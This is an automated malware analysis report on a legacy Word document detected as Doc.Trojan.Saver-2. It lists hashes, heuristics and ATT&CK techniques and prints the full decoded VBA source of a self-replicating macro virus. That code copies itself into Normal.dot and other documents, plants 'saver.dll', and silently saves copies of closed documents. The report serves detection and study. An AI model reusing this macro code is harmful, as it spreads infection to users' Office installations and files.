Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a52e8dfdbb3b5eee…

MALICIOUS

Office (OLE)

33.0 KB Created: 2002-08-22 02:47:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 6585a4d531d49f8d6552b4c55d5501db SHA-1: 8d639783a619d39b86a7060a2a020e021e23a37b SHA-256: a52e8dfdbb3b5eee09f8ba7b542c9679bdf2d2e31870c75794298e30885b80c0
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic markers and VBA macros, including AutoOpen and Auto_Close, indicating a macro-based attack. The VBA script attempts to copy itself to the Word application path as 'saver.dll' and potentially establish persistence. The 'VIRUS!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!' document body is a clear indicator of malicious intent.

Heuristics 5

  • ClamAV: Doc.Trojan.Saver-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Saver-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2277 bytes
SHA-256: 9a32d612d5f0540b248fee7f7592f026b87974db56712ab54b6f457daad73ac5
Detection
ClamAV: Doc.Trojan.Saver-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Saver"
Sub Mac(dr)
Attribute Mac.VB_Description = "锑牮铖 玎镨襦?02.02.00 饰臀椅?"
Attribute Mac.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.锑牮铖1"
 If (Dir(dr, vbDirectory) = "") Then MkDir (dr)
End Sub
Sub Setup()


  On Error Resume Next
  
  If Word.ActiveDocument.Name = "saver.dll" Then MsgBox "Saver!"
    
  zz = Word.ActiveDocument.FullName
  
  Application.OrganizerCopy Source:=zz, _
      Destination:=Normal.ThisDocument.FullName, Name:="Saver", _
      Object:=wdOrganizerObjectProjectItems
      
  Application.OrganizerCopy Source:=Normal.ThisDocument.FullName, _
      Destination:=zz, Name:="Saver", _
      Object:=wdOrganizerObjectProjectItems
      
  yy = Word.Application.Path + "\saver.dll"
  
  If (Dir(yy) = "") Then
    Application.Documents.Add
    Application.Documents(1).SaveAs (yy)
    Application.Documents(1).Close SaveChanges:=False
    Word.RecentFiles.Item(1).Delete
  End If
  
  
  Application.OrganizerCopy Source:=Normal.ThisDocument.FullName, _
      Destination:=yy, Name:="Saver", _
      Object:=wdOrganizerObjectProjectItems
  Application.OrganizerCopy Source:=zz, _
      Destination:=yy, Name:="Saver", _
      Object:=wdOrganizerObjectProjectItems
  Application.OrganizerCopy Source:=yy, _
      Destination:=zz, Name:="Saver", _
      Object:=wdOrganizerObjectProjectItems
      
End Sub
Sub AutoNew()
  dr = Word.Application.Path + "\Doc_Copy"
  Mac (dr)
End Sub
Sub AutoOpen()
  Setup
  dr = Word.Application.Path + "\Doc_Copy"
  Mac (dr)
  If Word.ActiveDocument.Name = "saver.dll" Then Word.ActiveDocument.Close
End Sub
Sub AutoClose()
  dr = Word.Application.Path + "\Doc_Copy"
  Pat = dr + "\" + ActiveDocument.Name
  If Word.ActiveDocument.Name <> "saver.dll" Then
    On Error Resume Next
    ActiveDocument.Saved = False
    ActiveDocument.Save
    ActiveDocument.SaveAs (Pat)
  End If
  Word.RecentFiles.Item(1).Delete
End Sub

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